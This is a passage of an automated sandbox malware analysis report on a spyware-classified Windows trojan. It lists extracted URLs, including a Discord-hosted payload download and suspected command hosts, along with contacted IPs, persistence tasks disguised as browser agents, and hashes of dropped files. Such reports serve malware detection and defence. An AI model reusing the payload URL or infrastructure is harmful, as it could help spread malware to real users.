http://tempuri.org/Entity/Id24Response	A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.596302776.0000000002ECB000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.597967542.0000000002FE1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_shockwave	C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
https://cdn.discordapp.com/attachments/914960103592054858/914986994759794738/Underdosed.exe	C169.exe, 00000017.00000002.593626249.0000000002CE0000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.596302776.0000000002ECB000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.597625234.0000000002F9B000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id5Response	A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultD	C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id10Response	A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.601972098.0000000003DB2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id8Response	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://support.google.com/chrome/?p=plugin_wmp	A70A.exe, 0000000B.00000002.606343545.0000000004099000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594676104.0000000002E09000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598347234.000000000302C000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
http://95.181.152.139	C169.exe, 00000017.00000002.597347533.0000000002F77000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2006/02/addressingidentity	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593626249.0000000002CE0000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_java	A70A.exe, 0000000B.00000002.606343545.0000000004099000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594676104.0000000002E09000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598347234.000000000302C000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id22Responsex	C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
https://cdn.discordapp.com4	C169.exe, 00000017.00000002.597704836.0000000002FA1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/06/addressingex	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id19Responsex	C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse	A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
http://cdn.discordapp.com	C169.exe, 00000017.00000002.597768606.0000000002FB3000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_divx	C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id13Response	A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty	A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
https://socfinder.site	A70A.exe, 0000000B.00000000.415048801.0000000001327000.00000002.00020000.sdmp, A70A.exe, 0000000B.00000002.576541484.0000000001327000.00000002.00020000.sdmp, A70A.exe, 0000000B.00000003.417761499.0000000003471000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement	A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	A70A.exe, 0000000B.00000002.603991878.0000000003EBE000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.603065372.0000000003E71000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.603701559.0000000003EA8000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.600555939.0000000003D43000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.599060773.00000000030D7000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.595143338.0000000002EB5000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594676104.0000000002E09000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.596302776.0000000002ECB000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.599190914.00000000030ED000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.600180400.0000000003CD2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598347234.000000000302C000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598194373.0000000003016000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594596354.0000000002DF3000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2002/12/policy	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id22Response	A70A.exe, 0000000B.00000002.601972098.0000000003DB2000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	A70A.exe, 0000000B.00000002.603991878.0000000003EBE000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.603065372.0000000003E71000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.603701559.0000000003EA8000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.600555939.0000000003D43000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.599060773.00000000030D7000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.595143338.0000000002EB5000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594676104.0000000002E09000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.596302776.0000000002ECB000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.599190914.00000000030ED000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.600180400.0000000003CD2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598347234.000000000302C000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598194373.0000000003016000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594596354.0000000002DF3000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/Issue	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
https://get.adob	A70A.exe, 0000000B.00000002.606343545.0000000004099000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594676104.0000000002E09000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598347234.000000000302C000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/spnego	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id18Response	A70A.exe, 0000000B.00000002.603991878.0000000003EBE000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://service.real.com/realplayer/security/02062012_player/en/	A70A.exe, 0000000B.00000002.606343545.0000000004099000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594676104.0000000002E09000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598347234.000000000302C000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd	A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id3Response	A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.596302776.0000000002ECB000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
95.213.165.249	host-data-coin-11.com	Russian Federation	49505	SELECTELRU	false
45.9.20.149	unknown	Russian Federation	35913	DEDIPATH-LLCUS	true
162.159.135.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	531737
Start date:	01.12.2021
Start time:	10:02:38
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 14m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	QMn13jz6nj.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	36
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@33/32@65/4
EGA Information:	Failed
HDC Information:	Successful, ratio: 64.8% (good quality ratio 45.4%) Quality average: 55.5% Quality standard deviation: 41.5%
HCA Information:	Successful, ratio: 70% Number of executed functions: 360 Number of non-executed functions: 69
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information. Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WerFault.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 20.42.73.29 Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, blobcollector.events.data.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, ctldl.windowsupdate.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, watson.telemetry.microsoft.com, arc.msn.com Not all processes where analyzed, report is missing behavior information Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size exceeded maximum capacity and may have missing disassembly code. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryAttributesFile calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
10:04:26	Task Scheduler	Run new task: Firefox Default Browser Agent E57885D5CBE89C26 path: C:\Users\user\AppData\Roaming\ddigjgj
10:04:57	API Interceptor	1x Sleep call for process: AA02.exe modified
10:05:39	API Interceptor	1x Sleep call for process: WerFault.exe modified
10:05:55	Task Scheduler	Run new task: tkools.exe path: C:\Users\user\AppData\Local\Temp\6829558ede\tkools.exe

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_D466.exe_db70fee994372ed317f1af178f5e275a698060_66b74b96_1b8421ab\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8208203291713381
Encrypted:	false
SSDEEP:	96:E/FE6X7jPQuN4lOQoJ7R3V6tpXIQcQec6tycEfcw3W+HbHg/8BRTf3o8Fa9iVfOs:qiLuNl8HQ0lrjJ5/u7szS274Itr
MD5:	23AB1CDA7F86C265D6863DEDC315625D
SHA1:	87D750256912BC84594B89310CD7B9018E6586A0
SHA-256:	C50B2EF12FB27DE639E5EE07477140FC66158D3E798A49A0DEA04143A0F1E2EC
SHA-512:	B284891D2FA86C6E25822574A6FC798C8812D9E3F400342A45BD8499FADC31F6DCA736DF1BC0BD6B136AC011CDB436EC2E8995B1B475C3262A07C2BDD37951F3
Malicious:	false
Reputation:	unknown
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.2.8.2.8.5.5.5.0.4.9.5.2.3.7.7.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.8.2.8.5.5.5.3.7.9.4.0.4.5.2.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.4.8.a.5.d.e.9.-.d.d.7.3.-.4.7.7.a.-.8.f.5.5.-.2.2.2.b.c.9.8.a.7.d.1.d.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.4.0.8.2.f.e.2.-.d.a.d.2.-.4.9.1.d.-.a.5.3.3.-.c.0.1.8.2.3.5.1.5.9.b.f.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.D.4.6.6...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.e.c.-.0.0.0.1.-.0.0.1.c.-.b.b.f.f.-.5.2.e.9.d.d.e.6.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.1.e.7.a.f.d.3.c.a.a.5.c.9.3.6.8.c.b.d.1.e.d.4.d.4.2.9.9.3.e.e.0.0.0.0.2.4.0.1.!.0.0.0.0.b.2.1.8.7.d.e.b.c.6.f.d.e.9.6.e.0.8.d.5.0.1.4.c.e.4.f.1.a.f.5.c.f.5.6.8.b.c.e.5.!.D.4.6.6...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.1././.1.1././.1.2.:.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2114.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Wed Dec 1 18:05:08 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	40540
Entropy (8bit):	1.9473812799118777
Encrypted:	false
SSDEEP:	192:iM4MlwxT/BOepbDmI5L82sf0Ye6lXpCjqTmISO:WhFceUPLpSO
MD5:	88C0D07F911DB2E607B3474BA0981EC9
SHA1:	BB0F558813CFB9EADA2675C259A7B7EE854DBD31
SHA-256:	DAD864879C5519F61320B45B416DF81280046F0159AE030883B16D8DCBCC8904
SHA-512:	AAC35A21934397EB5FCB58E5BD0FDD7A49708D229A8262BC3D1F60F7C33822F528EDC0F48ECD99B2D5F4C9B4A35C45AD4F35C950CFED8C530A158C3922FD5063
Malicious:	false
Reputation:	unknown
Preview:	MDMP....... .......T..a.........................................(..........T.......8...........T............................................................................................................U...........B......h.......GenuineIntelW...........T...........8..a............................. ..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER41AD.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8412
Entropy (8bit):	3.7025484182768764
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNicw656YF+SU8hZetAgmfRRSqCpDQ89bIwsfNtYm:RrlsNiT656YcSU8SAgmfRRSXIDfN3
MD5:	222DE9514D79DF1715B4AB9D0B37A015
SHA1:	7F41D897D493E04E970DD5D24263E0086FD8D9B6
SHA-256:	2693C972E5D058373F1684599CCD18E4D142ADFC4E39B346F5B8068D73794804
SHA-512:	5FB1A7FF911ABFA2D63C12461C71C04F91330F6AF78874EBE88FB54BD08BA2BCD530339F2DFF0DFA5FE1BD35F11CBF45B509FC2ED675B813DB3E1446D69B712F
Malicious:	false
Reputation:	unknown
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.6.3.6.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER543C.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4685
Entropy (8bit):	4.481319431173112
Encrypted:	false
SSDEEP:	48:cvIwSD8zsrJgtWI99wjZyWSC8Bq8fm8M4JY28qFks4+q8v88HBizdz9d:uITfF6wjZTSNlJYzLK1Mzdz9d
MD5:	FA46A494E899F7539AB9219E49978456
SHA1:	B2A0E57D512AF9D5B28EDC50AE5A6DF819BA3C04
SHA-256:	5974A25349F5ADC7E3836CB533D4650C6A90D2A201B570B782E0E55F798C98E7
SHA-512:	FE59493C6065F494B7E0F99773614CF934969C236B7FBCED301B3DDAA90632360101969C73FC219CF10AE540D5D7A43CD0D70165DA6BF80E970FA47B976EBB5E
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1278915" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\sqlite3.dll Download File
Process:	C:\Users\user\AppData\Local\Temp\AA02.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	645592
Entropy (8bit):	6.50414583238337
Encrypted:	false
SSDEEP:	12288:i0zrcH2F3OfwjtWvuFEmhx0Cj37670jwX+E7tFKm0qTYh:iJUOfwh8u9hx0D70NE7tFTYh
MD5:	E477A96C8F2B18D6B5C27BDE49C990BF
SHA1:	E980C9BF41330D1E5BD04556DB4646A0210F7409
SHA-256:	16574F51785B0E2FC29C2C61477EB47BB39F714829999511DC8952B43AB17660
SHA-512:	335A86268E7C0E568B1C30981EC644E6CD332E66F96D2551B58A82515316693C1859D87B4F4B7310CF1AC386CEE671580FDD999C3BCB23ACF2C2282C01C8798C
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
